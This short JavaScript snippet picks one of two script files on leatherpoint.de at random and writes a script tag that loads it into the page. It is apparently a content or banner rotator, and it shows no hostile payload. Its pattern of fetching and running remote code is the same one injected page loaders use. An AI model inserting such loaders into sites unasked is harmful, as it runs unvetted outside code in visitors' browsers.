var url = new Array(); 

url[1] = 'http://www.leatherpoint.de/1601.js'; 
url[2] = 'http://www.leatherpoint.de/1602.js'; 

var num = Math.random(); 
var ran = Math.floor((url.length - 1) * num) + 1; 

document.write('<script type="text/javascript" src="' + url[ran] + '"></script>');